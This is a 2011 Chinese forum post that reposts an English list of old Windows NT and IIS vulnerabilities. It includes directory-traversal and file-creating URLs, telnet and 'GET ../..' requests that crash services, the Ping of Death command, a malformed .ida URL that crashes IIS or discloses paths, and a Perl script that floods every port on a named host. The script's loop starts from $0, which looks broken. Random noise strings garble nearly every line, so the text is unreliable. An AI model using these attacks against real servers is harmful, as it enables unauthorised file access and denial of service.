找回密码
 注册

QQ登录

只需一步,快速开始

NT的漏洞及描述(英文)

[复制链接]
发表于 2011-1-13 17:12:25 | 显示全部楼层 |阅读模式
受影响系统:4.0,iis 1.0% T8 ~$ Q2 T2 W2 V
A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.' z4 j) K. Q& }* x/ r

( {1 p4 k" e6 {A URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.
/ ]& F7 }" K& Q; C  |. t% |7 S4 M; U2 l  n9 F: Y, J3 B+ R2 n5 E
By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.0 h! N! H. H; b9 u& T5 t& {

# H* @% [3 H  q- j--------------------------------------------------------------------
/ {. r( q5 \: F& |8 W6 b7 U  C* i6 F. Z9 ^3 r! I7 ^2 \; g
受影响系统:4.0
; U* \, G" [5 O& H0 V6 e2 c' ^; fA URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.
: d7 l5 e1 p, I! j7 S7 a: @2 @# o! h3 V5 j( G
If the file 'target.bat' exists, the file will be truncated.
9 i9 z7 d; q& V% a0 H6 }. s& {3 M3 _0 k& i& Q: |

" R: t) n7 ?# p2 L/ VA URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.
  F/ g" q, P- ~5 [. w" D7 u6 v: h: d0 L2 S/ H' g" {& L! g/ h
----------------------------------------------------------------------
( E' \( e1 F2 w, [+ R1 t
; w) ^, j3 K9 W受影响系统:3.51,4.0
* W& K3 h% Q" G7 M0 x, P) u+ q+ DMultiple service ports (53, 135, 1031) are vunerable to 'confusion'.$ q2 R0 ~& @9 W) [2 q# ~6 D% E" G- f
$ o) @3 {$ s' n' V, H
The following steps;
( L  V: v2 i2 m0 J0 Z9 I. L7 }0 d+ [+ A: C* P! k2 c" I  G
Telnet to an NT 4.0 system on port 135 ; h& _/ u0 ^: B: x/ j9 i
Type about 10 characters followed by a <CR> 1 s& `4 {4 d; S
Exit Telnet 9 F: Q0 [! o6 p6 {3 Z) S
results in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.+ h, x& l7 v2 h7 g3 T* @: Y: s
, `: n1 E4 d1 _3 `' a' f+ ~
When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted." y2 A- j7 z- W% ~& F  u$ k$ Y! {

* S) ]+ d. ~1 e, l2 g! I7 LThe above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.
9 |. Q- N1 t8 r* Y0 A0 Y+ K0 }* X7 M9 U$ i& ?1 W5 [
If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.; }- ~5 @4 @$ m
; k* x* ?/ j: K0 p/ m6 j
The following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):8 n* F0 G& X5 ~9 f5 ^6 z9 V

$ @4 o* v5 I! \) j- e* r/*begin poke code*/
" B2 G1 X% q* U/ b- T5 ^5 }& x+ U8 x! p' L
use Socket;. o) A3 R: Y1 a( W( n- L+ e
use FileHandle;
3 T" u% ?9 M( _$ Vrequire "chat2.pl";# M. W( D7 H8 {; b! x

9 j) i1 H5 i# [# c0 m$systemname = $ARGV[0] && shift;* W8 j6 ]) L! t6 q
1 k6 ^/ f! V- o! e/ N
$verbose = 1; # tell me what you're hitting
2 |, {6 B& L1 c$knownports = 1; # don't hit known problem ports
" J) v5 B# t+ R" \5 ]for ($port = $0; $port<65535; $port++) , e2 f; Q0 A9 m; h- o- A
{: ^1 Z7 F) J/ _& [! o9 ~% U% Q
) l+ M; B1 F# U

; c2 V& q6 _; Fif ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
/ G" T5 E* x4 ?! \) ^next;
, n8 `/ Z7 t- s9 Y$ g}2 ?6 t; M0 h% Z$ A* Q
$fh = chat::open_port($systemname, $port);! L  o$ J- R9 g  A5 T8 {
chat::print ($fh,"This is about ten characters or more");6 Q8 R" U: U9 z3 J
if ($verbose) {
6 L& a, |& y0 r8 m+ ~+ {9 f( ^print "Trying port: $port\n";6 ?! c/ d6 Y! s; B: I4 |
}
% J/ R4 `' M/ d& c, Achat::close($fh);6 s0 A( i% D1 T3 ^; M

0 @2 `5 l4 I- |& R( k: G}) y4 M2 i- G  }; w
, V: U2 u* N/ S/ E" D4 ^3 o' w
( R4 W+ o. s7 `- O% ^5 X" e
/*end poke code*/& r; X! O4 m! y% Z9 T* N

, l! K9 I' M7 ~" O7 U5 o7 M! ^/ dSave the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername
5 |* M$ L: F% j: |8 Y0 e: d/ w# ^8 l
--------------------------------------------------------------------------------# ]& \" t0 w% L+ Q: }
5 c( W- z: [1 Q9 [5 q' q
受影响系统:4.0
( d+ u- @( \3 n4 E0 SUsing a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.
8 K  T: u5 ]  R' m* ^/ z3 ?. O
0 ^1 V  L& c% p- A$ @2 I" U- nThis attack causes Dr. Watson to display an alert window and to log an error: 3 y$ }! P& V& A) Y
2 O& s3 g( @1 I: M7 R' L, a
"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT"
0 R6 j  m, E( V. l5 k
: i5 l- D- d: s' }3 x) ]( _--------------------------------------------------------------------------------0 A& G5 e. C# `. B1 _/ N/ ]' x  n
1 x' F/ C6 I6 |
受影响系统:3.51,4.0
2 W6 g0 A# u# i. yLarge packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:
; _3 g( z- W7 Z5 l" Y( G7 i' w- k0 b: U" [1 V4 e8 m
STOP: 0X0000001E
' g2 t' R: L7 k$ NKMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
3 k. [: N( N* V, K( T1 [2 g% Q4 k$ V0 Y: R' s" F
-OR-( F6 o& C& V9 p" }4 g

5 ^- K! ^# f' E' fSTOP: 0x0000000A$ E/ }6 {  X# U2 z
IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
0 ]* a' D0 d- F% r; f& l
/ K4 j% z- \, f% e( e- Z$ b9 cNT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.
$ @6 W+ _& B  |# D1 |1 Y  n$ B5 S; O$ W: x1 _: i
--------------------------------------------------------------------------------" m9 u: k+ q' h8 O; ~( J! ?

) K2 X" m9 H# a* WMicrosoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).
6 i8 ^  ^4 u, A/ l. P! _: e2 }5 z. {. W
--------------------------------------------------------
; ~  m, r* j) u" M, w" V, L0 Z
/ b* }0 L; g) N3 e# CIIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-6-14 22:16

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表